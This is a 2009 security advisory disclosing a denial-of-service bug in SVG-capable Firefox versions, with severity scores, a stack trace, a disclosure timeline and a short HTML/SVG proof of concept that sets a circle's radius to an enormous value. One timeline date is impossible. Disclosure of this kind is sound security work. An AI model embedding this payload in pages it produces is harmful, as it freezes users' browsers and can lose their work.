Firefox (all?) Denial of Service through unclamped loop (SVG)

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

________________________________________________________________________ From the low-hanging-fruit-department Firefox et al. Denial of Service - All versions supporting SVG ________________________________________________________________________ CHEAP Plug : ************************************************************************ You are invited to participate in HACK.LU 2009, a small but concentrated luxemburgish security conference. More information : CFP is open, sponsorship is still possible and warmly welcomed! ************************************************************************ Release mode: Forced release. Ref : [TZO-26-2009] - Firefox DoS (unclamped loop) SVG WWW : Vendor : Status : No patch CVE : none provided Credit : none Bugzilla entry: Security notification reaction rating : There wasn't any reaction. OSS Security notification FTW Notification to patch window : x+n Disclosure Policy : Affected products : - Firefox all supporting SVG (didn't care to investigate which, task of the vendor) - all software packages using mozilla engine and allowing SVG I. Background ~~~~~~~~~~~~~ Firefox is a popular internet browser. II. Description ~~~~~~~~~~~~~~~ This bug is a typical result of what we call unclamped loop. An "attacker" will give the Radius value of the Circle attribute a very big value. That is leetness. Stack trace : ntkrnlpa.exe+0x6e9ab ntkrnlpa.exe!MmIsDriverVerifying+0xbb0 hal.dll+0x2ef2 xul.dll!NS_InvokeByIndex_P+0x30c36 xul.dll!NS_InvokeByIndex_P+0x30e8a xul.dll!NS_InvokeByIndex_P+0x30e02 xul.dll!NS_InvokeByIndex_P+0x30f5e xul.dll!XRE_InitEmbedding+0x7858 xul.dll!XRE_InitEmbedding+0xf4ee xul.dll!XRE_TermEmbedding+0x11411 xul.dll!gfxTextRun::Draw+0xdd4d xul.dll!gfxTextRun::Draw+0xe1ca xul.dll!gfxWindowsPlatform::PrefChangedCallback+0x1495 xul.dll!gfxTextRun::SetSpaceGlyph+0x2678 xul.dll!gfxFont::NotifyLineBreaksChanged+0xf1d3 xul.dll!gfxWindowsPlatform::RunLoader+0xa9f6 xul.dll!NS_StringCopy_P+0x9942 xul.dll!gfxImageSurface::gfxImageSurface+0x3188 xul.dll!gfxImageSurface::gfxImageSurface+0x2ed8 Also produces exceptions in MOZCRT19... MOZCRT19!modf+0x2570: 600715e0 660f122550450960 movlpd xmm4,qword ptr [MOZCRT19!exception::`vftable'+0x1a3d8 (60094550)] ds:0023:60094550=3fe62e42fefa39ef III. Impact ~~~~~~~~~~~ Browser doesn't respond any longer to any user input, all tabs are no longer accessible, your work if any (hail to the web 2.0) might be lost. IV. Proof of concept (hold your breath) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <html xmlns=''> <head> </head> <body> <svg xmlns=''><circle cx='10' cy='10' r='1.79769313486231E+308' fill='red' /></svg> </body></html> IV. Disclosure timeline ~~~~~~~~~~~~~~~~~~~~~~~~~ DD/MM/YYYY 18/11/2008 : Created bugzilla entry (security) with proof of concept, description the terms under which ooperate and the planned disclosure date. 24/22/2008 : Daniel Veditz comments : "Might be a cairo bug rather than SVG (seems to be looping in libthebes), but I can definitely confirm the DoS. 14/12/2008 : Ask for any action plan and my assessement of considering it low risk No reply. 28/12/2008 : "Timeless" comments [..] personally, i intend to open this bug to the public [..] a bug like this is more likely to be fixed by being visible to more people than by leaving it in a closet. 26/05/2009 : In 2009 I agree; release of this advisory.


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